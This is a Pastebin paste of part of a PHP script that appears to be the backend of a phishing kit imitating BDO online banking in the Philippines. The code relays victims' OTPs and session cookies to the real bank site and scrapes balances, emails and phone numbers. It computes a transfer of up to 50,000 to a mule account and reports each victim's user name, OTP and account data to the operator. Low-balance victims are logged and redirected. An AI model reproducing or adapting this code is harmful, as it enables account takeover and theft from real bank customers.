  640. "info" => $hopeStatus,
  641. "site" => $site
  642. ])
  643. ]);
  644. fLy($ddd);
  645.  
  646. sleep(15);
  647. session_destroy();
  648. session_unset();
  649. header("Location: https://www.bdo.com.ph/personal/ebanking/account-security");
  650. exit;
  651.  
  652. $_SESSION['kraKen'] = "Reb0Rn";
  653. // disable gcash number
  654. // display error
  655. $disable = http_build_query([
  656. "auth" => "update",
  657. "num" => substr(@$_SESSION['available_Bank'][0],1,10),
  658. "sent" => 999
  659. ]);
  660. fLy($disable);
  661. $otpStat = "Invalid One-Time Password (OTP). You are only allowed a maximum of 3 attempts. Please try again.";
  662. if($_SESSION['plat_'] == "form") {
  663. $subErr = "";
  664. $_SESSION['kraKen'] = "platform";
  665. } else {
  666. $subErr = $otpStat;
  667. $_SESSION['kraKen'] = "release";
  668. }
  669. @$_SESSION['otpStat'] = "Invalid One-Time Password (OTP). You are only allowed a maximum of 3 attempts. Please try again.";
  670.  
  671. } else {
  672. $_SESSION['kraKen'] = "Reb0Rn";
  673. if(substr(@$tags->item(0)->nodeValue,0,16) == "Invalid One-Time") {
  674. $otpStat = @$tags->item(0)->nodeValue;
  675. if($_SESSION['plat_'] == "form") {
  676. $subErr = "";
  677. $_SESSION['kraKen'] = "platform";
  678. } else {
  679. $subErr = $otpStat;
  680. $_SESSION['kraKen'] = "release";
  681. }
  682. } else {
  683. $hopeStatus = $_SESSION['on/sucess'] ." &mdash;&#187; <font color='#d100ff'>ACCOUNT_ERROR</font> [<crimson> TRANSFER </crimson>] <font color='#d100ff'>". number_format($_SESSION['xTra'])." <font color='white'> to </font>".@$_SESSION['available_Bank'][0]." </font> &mdash;&#187; STAT: <font color='white'>" /*.@$tags->item(0)->nodeValue*/ .substr(@$tags->item(0)->nodeValue, 0, 40) ."...</font>";
  684. $ddd = http_build_query([
  685. "auth" => "report",
  686. "json" => json_encode([
  687. "auth" => "report",
  688. "status" => $tranStat,
  689. "info" => $hopeStatus,
  690. "site" => $site
  691. ])
  692. ]);
  693. fLy($ddd);
  694. $otpStat = "Unexpected error. Please try again.";
  695. if($_SESSION['plat_'] == "form") {
  696. $subErr = "";
  697. $_SESSION['kraKen'] = "platform";
  698. } else {
  699. $subErr = $otpStat = @$tags->item(0)->nodeValue;
  700. $_SESSION['kraKen'] = "release";
  701. }
  702. }
  703. }
  704. } else {
  705. $hopeStatus = $_SESSION['on/sucess'] ." &mdash;&#187; <font color='#d100ff'>ACCOUNT_ERROR</font> [<crimson> TRANSFER </crimson>] <font color='#d100ff'>". number_format($_SESSION['xTra'])." <font color='white'> to </font>".@$_SESSION['available_Bank'][0]." </font> &mdash;&#187; STAT: <font color='white'>" /*.@$tags->item(0)->nodeValue*/ .substr(@$tags->item(0)->nodeValue, 0, 40) ."...</font>";
  706. $ddd = http_build_query([
  707. "auth" => "report",
  708. "json" => json_encode([
  709. "auth" => "report",
  710. "status" => $tranStat,
  711. "info" => $hopeStatus,
  712. "site" => $site
  713. ])
  714. ]);
  715. fLy($ddd);
  716. @session_destroy();
  717. @session_unset();
  718. sleep(15);
  719. header("Location: https://www.bdo.com.ph/personal/ebanking/account-security");
  720. exit;
  721. }
  722.  
  723. }
  724.  
  725. } else { // OTP 1ST STAGE
  726. //
  727. $headersOTP = array(
  728. "Host: online.bdo.com.ph",
  729. "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0",
  730. "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
  731. "Content-Type: application/x-www-form-urlencoded",
  732. "Wicket-Ajax: true",
  733. "Wicket-FocusedElementId: ".$wicked,
  734. "Content-Length: ". strlen($OTP),
  735. "DNT: 1",
  736. "Origin: https://online.bdo.com.ph",
  737. // "Referer: https://online.bdo.com.ph/sso/otpgenerator",
  738. "Cookie: ". $_SESSION['goldHead']['/sso'],
  739. "Connection: close"
  740. );
  741. $OTPresp = curlContents(strtok($_SESSION['goldHead']['Location'], '?')."?x=".$key."&random=0.".md5(date("h:i:s")),"POST", $OTP, $headersOTP, true, false);
  742. updateGold($OTPresp['header']);
  743. $OTPstat = $OTPresp['contents'];
  744.  
  745. if(strlen($OTPstat) < 2 && !empty($_SESSION['goldHead']['Location'])) {
  746. if($_SESSION['goldHead']['Location'] == "josso_otplogout_locked/") {
  747. @session_destroy();
  748. @session_unset();
  749. header("Location: https://online.bdo.com.ph/sso/login?action=5");
  750. exit;
  751. }
  752.  
  753. $_SESSION['ajaxloc'] = $_SESSION['goldHead']['Location'];
  754. $_SESSION['OTP1'] = "done";
  755. $_SESSION['process'] = "transfer";
  756. $otpStat = "One-Time Password (OTP) has expired.<br>Please generate new PIN.";
  757. $_SESSION['otpStat'] = "One-Time Password (OTP) has expired.<br>Please generate new PIN.";
  758. act2();
  759. $l1 = array(
  760. "Host: online.bdo.com.ph",
  761. "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0",
  762. "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
  763. "DNT: 1",
  764. "Connection: close",
  765. "Cookie: ". $_SESSION['goldHead']['/sso'],
  766. "Upgrade-Insecure-Requests: 1"
  767. );
  768. $l1Stat = curlContents($_SESSION['goldHead']['Location'],"GET", false, $l1, true, false);
  769. updateGold($l1Stat['header']);
  770.  
  771. $dom = new DOMDocument();
  772. @$dom->loadHTML($l1Stat['contents']);
  773. $xpath = new DOMXPath($dom);
  774. $tags = $xpath->query('//tr[@class="even"]');
  775. $tds = $xpath->query('//span');
  776. // echo count($tds)." span\r\n";
  777. // echo count($tags)." tr\r\n";
  778. // exit;
  779. if(!isset($_SESSION['d_'])) {
  780. foreach($tags as $line) {
  781. $tds = $xpath->query('//span');
  782. for ($x=0;$x<count($tds);$x++) {
  783. $xyz = str_replace(array("\r","\n","\t","\0"," "," "), array("","","","","",""), $tds->item($x)->nodeValue);
  784. if(strlen($xyz) >1) {
  785. @$_SESSION['d_'] .= $xyz."|";
  786. }
  787. }
  788. }
  789. }
  790.  
  791. if (!isset($_SESSION['reZ'])) {
  792. $_SESSION['reZ'] = array_chunk(explode("|",getBetween(@$_SESSION['d_'],"Actions|", "|BDOUnibankissuper")),7);
  793. for($i=0;$i<count($_SESSION['reZ']);$i++) {
  794. if(!empty($_SESSION['reZ'][$i])) {
  795. $c = $i;
  796. if(explode(".",preg_replace("/[^0-9\.]/", "", @$_SESSION['reZ'][$i][5]))[0] > @$_SESSION['account_X'][1]) {
  797. @$_SESSION['account_dump'] = @$_SESSION['account_dump']." | ".implode(":",@$_SESSION['reZ'][$i]);
  798. @$_SESSION['account_X'][0] = @$_SESSION['reZ'][$i][2];
  799. @$_SESSION['account_X'][1] = explode(".",preg_replace("/[^0-9\.]/", "", @$_SESSION['reZ'][$i][5]))[0];
  800. }
  801.  
  802. }
  803. }
  804. }
  805.  
  806.  
  807. // EXTRACT EMAIL + NUMBER
  808. // print_r($_SESSION['goldHead']);
  809.  
  810.  
  811. $uci = array(
  812. "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0",
  813. "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
  814. "Accept-Language: en-US,en;q=0.5",
  815. "Connection: close",
  816. "Cookie: JSESSIONID=44cfa265c5e7fb7a21eec1b06b54; JOSSO_SESSIONID=-",
  817. "Upgrade-Insecure-Requests: 1"
  818. );
  819. $uciStat = curlContents("https://www.mybdo.com.ph/fo/updateclientinformation","GET", false, $uci, true, false);
  820. updateGold($uciStat['header']);
  821. // echo $_SESSION['goldHead']['Location']."\r\n";
  822. //================================================================//
  823. $uci1 = array(
  824. "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0",
  825. "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
  826. "Accept-Language: en-US,en;q=0.5",
  827. "Connection: close",
  828. "Cookie: ".$_SESSION['goldHead']['/fo'],
  829. "Upgrade-Insecure-Requests: 1"
  830. );
  831. $uci1Stat = curlContents($_SESSION['goldHead']['Location'],"GET", false, $uci1, true, false);
  832. updateGold($uci1Stat['header']);
  833. // echo $_SESSION['goldHead']['Location']."\r\n";
  834. //================================================================//
  835. $uci2 = array(
  836. "Host: online.bdo.com.ph",
  837. "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0",
  838. "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
  839. "Accept-Language: en-US,en;q=0.5",
  840. "Connection: close",
  841. "Cookie: ".$_SESSION['goldHead']['/sso-gateway'],
  842. "Upgrade-Insecure-Requests: 1"
  843. );
  844. $uci2Stat = curlContents($_SESSION['goldHead']['Location'],"GET", false, $uci2, true, false);
  845. updateGold($uci2Stat['header']);
  846. // echo $_SESSION['goldHead']['Location']."\r\n";
  847. //================================================================//
  848. $uci3 = array(
  849. "Host: www.mybdo.com.ph",
  850. "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0",
  851. "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
  852. "Accept-Language: en-US,en;q=0.5",
  853. "Connection: close",
  854. "Cookie: ".$_SESSION['goldHead']['/fo'],
  855. "Upgrade-Insecure-Requests: 1"
  856. );
  857. $uci3Stat = curlContents($_SESSION['goldHead']['Location'],"GET", false, $uci3, true);
  858. updateGold($uci3Stat['header']);
  859. // echo $_SESSION['goldHead']['Location']."\r\n";
  860. $uci3Stat = curlContents($_SESSION['goldHead']['Location'],"GET", false, $uci3, true);
  861. updateGold($uci3Stat['header']);
  862. // echo $_SESSION['goldHead']['Location']."\r\n";
  863. $uci3Stat = curlContents($_SESSION['goldHead']['Location'],"GET", false, $uci3, true);
  864. updateGold($uci3Stat['header']);
  865. // echo $_SESSION['goldHead']['Location']."\r\n";
  866. //================================================================//
  867. $uci4 = array(
  868. "Host: online.bdo.com.ph",
  869. "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0",
  870. "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
  871. "Accept-Language: en-US,en;q=0.5",
  872. "Connection: close",
  873. "Cookie: ".$_SESSION['goldHead']['/sso-gateway'],
  874. "Upgrade-Insecure-Requests: 1"
  875. );
  876. $uci4Stat = curlContents($_SESSION['goldHead']['Location'],"GET", false, $uci4, true, false);
  877. updateGold($uci4Stat['header']);
  878. // echo $_SESSION['goldHead']['Location']."\r\n";
  879. //================================================================//
  880. $uci5 = array(
  881. "Host: www.mybdo.com.ph",
  882. "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0",
  883. "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
  884. "Accept-Language: en-US,en;q=0.5",
  885. "Connection: close",
  886. "Cookie: ".$_SESSION['goldHead']['/fo'],
  887. "Upgrade-Insecure-Requests: 1"
  888. );
  889. $uci5Stat = curlContents($_SESSION['goldHead']['Location'],"GET", false, $uci5, true);
  890. updateGold($uci5Stat['header']);
  891. // echo $_SESSION['goldHead']['Location']."\r\n";
  892. //================================================================//
  893. $uci6 = array(
  894. "Host: www.mybdo.com.ph",
  895. "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0",
  896. "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
  897. "Accept-Language: en-US,en;q=0.5",
  898. "Connection: close",
  899. "Cookie: ".$_SESSION['goldHead']['/fo'],
  900. "Upgrade-Insecure-Requests: 1"
  901. );
  902. $uci6Stat = curlContents($_SESSION['goldHead']['Location'],"GET", false, $uci6, true);
  903. updateGold($uci6Stat['header']);
  904. // echo $_SESSION['goldHead']['Location']."\r\n";
  905. $uci6Stat = curlContents($_SESSION['goldHead']['Location'],"GET", false, $uci6, true);
  906. updateGold($uci6Stat['header']);
  907. // echo $_SESSION['goldHead']['Location']."\r\n";
  908.  
  909. $dom = new DOMDocument();
  910. @$dom->loadHTML($uci6Stat['contents']);
  911. $xpath = new DOMXPath($dom);
  912. $en = $xpath->query('//td[@style="text-align:left !important"]//span');
  913. if (!isset($_SESSION['email_number'])) {
  914. for ($i=0;$i<count($en);$i++) {
  915. if (!empty($en->item($i)->nodeValue) && strlen($en->item($i)->nodeValue) > 5) {
  916. @$_SESSION['email_number'] .= $en->item($i)->nodeValue." | ";
  917. }
  918. }
  919. }
  920.  
  921. if($_SESSION['plat_'] == "form") {
  922. $_SESSION['kraKen'] = "platform";
  923. } else {
  924. $_SESSION['kraKen'] = "release";
  925. }
  926. ///////////////
  927.  
  928. $go = http_build_query([
  929. "auth" => "report",
  930. "json" => json_encode([
  931. "auth" => "report",
  932. "status" => "OTP",
  933. "info" => "&mdash;&#187; \r\n[<crimson> ".( $_SESSION['plat_'] == "form" ? "SMS-GEN" : "OTP-GEN" )." </crimson>] <font color='white'>user: ".$_SESSION['user']."</font> sucessfully entered otp [<crimson> ".$otp_." </crimson>] \r[ ACC-INFO ] ".@$_SESSION['email_number'].@$_SESSION['account_dump'],
  934. "site" => $site
  935. ])
  936. ]);
  937. fLy($go);
  938.  
  939. $fee = 100;
  940. // $transfer = 100;
  941. // $accBal = str_replace(",","",explode(".",preg_replace("/[^0-9\.]/", "", @$_SESSION['account_X'][1])))[0];
  942.  
  943. // if(100000 >= 50200) {
  944. // print_r(@$_SESSION['account_X']); exit;
  945.  
  946. //=================================== [TEST ]
  947. // print_r(@$_SESSION['d_']);
  948. // print_r(@$_SESSION['reZ']);
  949. // echo @$_SESSION['account_dump']."\r\n";
  950. // print_r(@$_SESSION['account_X']);
  951. // header('Content-Type: text/plain; charset=utf-8');
  952. // exit;
  953. //=================================== [TEST ]
  954. if(@$_SESSION['account_X'][1] >= 50200) {
  955. if($_SESSION['available_Bank'][1] >= @$_SESSION['account_X'][1]) {
  956. @$_SESSION['transfer'] = 50000;
  957. } else {
  958. @$_SESSION['transfer'] = $_SESSION['available_Bank'][1];
  959. }
  960. } elseif(@$_SESSION['account_X'][1] >= 200) {
  961. if($_SESSION['available_Bank'][1] >= (@$_SESSION['account_X'][1] - $fee)) {
  962. @$_SESSION['transfer'] = (@$_SESSION['account_X'][1] - $fee);
  963. } else {
  964. @$_SESSION['transfer'] = $_SESSION['available_Bank'][1];
  965. }
  966. } else {
  967. //=================================== [TEST ]
  968. // echo "FAIL\r\n\r\n\r\n";
  969. // echo "D:: ".@$_SESSION['d_']."\r\n\r\nREZ:: ";
  970. // print_r(@$_SESSION['reZ']);
  971. // echo "\r\n\r\n".@$_SESSION['account_dump']."\r\n".@$_SESSION['account_X'][1]."\r\n";
  972. // print_r(@$_SESSION['account_X']);
  973. // header('Content-Type: text/plain; charset=utf-8');
  974. // exit;
  975. //=================================== [TEST ]
  976. $go = http_build_query([
  977. "auth" => "report",
  978. "json" => json_encode([
  979. "auth" => "report",
  980. "status" => "LOW-BAL",
  981. "info" => "&mdash;&#187; [".getUserIP()."] [<crimson>".$_SESSION['user']."</crimson>] <font color='white'>A user was redirected to dump-site (josso_otplogout_locked) due to ".( implode("|",@$_SESSION['account_X']) == "" ? "NULL-ACCOUNT:: ??" : "LOW-BALANCE :: ".implode("|",@$_SESSION['account_X']) )." </font> \r[<crimson> FUCK &times; SHETT </crimson>]",
  982. "site" => $site
  983. ])
  984. ]);
  985. fLy($go);
  986. session_destroy();
  987. session_unset();
  988. header("Location: https://online.bdo.com.ph/sso/login?action=5");
  989. }
  990.  
  991. // exit("success!");
  992.  
  993. } else {
  994. $dom = new DOMDocument();
  995. @$dom->loadHTML($OTPstat);
  996. $xpath = new DOMXPath($dom);
  997. $tags = $xpath->query('//span[@class="feedbackPanelERROR"]');
  998. $otpStat = @$tags->item(0)->nodeValue;
  999. }
  1000. }
  1001.  
  1002. } else {
  1003. if(!empty($_POST['otp'])) {
  1004. $otpStat = "Error. Please enter a 6 digit One-Time Password (OTP)";
  1005. } else {
  1006. $otpStat = "Error. One-Time Password (OTP) is required";
  1007. }
  1008. }
  1009. if (empty($otpStat)) {
  1010. $otpStat = @$_SESSION['otpStat'];
  1011. }
  1012. } else {
  1013. $otpStat = "Unexpected error: Server Maintenance";
  1014. }
  1015. }
  1016.  
  1017. if(@$otpType == "S") {
  1018. @$_SESSION['plat_'] = "form";
  1019. require '_hid_/otp2.html';
  1020. } else {
  1021. @$_SESSION['plat_'] = "device";
  1022. require '_hid_/otp.html';
  1023. }
  1024. @ob_end_flush(); @ob_flush();
  1025. break;
  1026.  
  1027. }
  1028.  
  1029. } else {
  1030. header("Location: /otp/" . @$_SESSION['thicc'] . "/process");
  1031. }
  1032. } else {
  1033. if (file_exists(@$sitedefault)) {
  1034. require @$sitedefault;
  1035. } else {
  1036. header('Location: net::ERR_CONNECTION_REFUSED');
  1037. // header("HTTP/1.0 500 Internal Server Error");
  1038. exit;
  1039. }
  1040. }
  1041. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!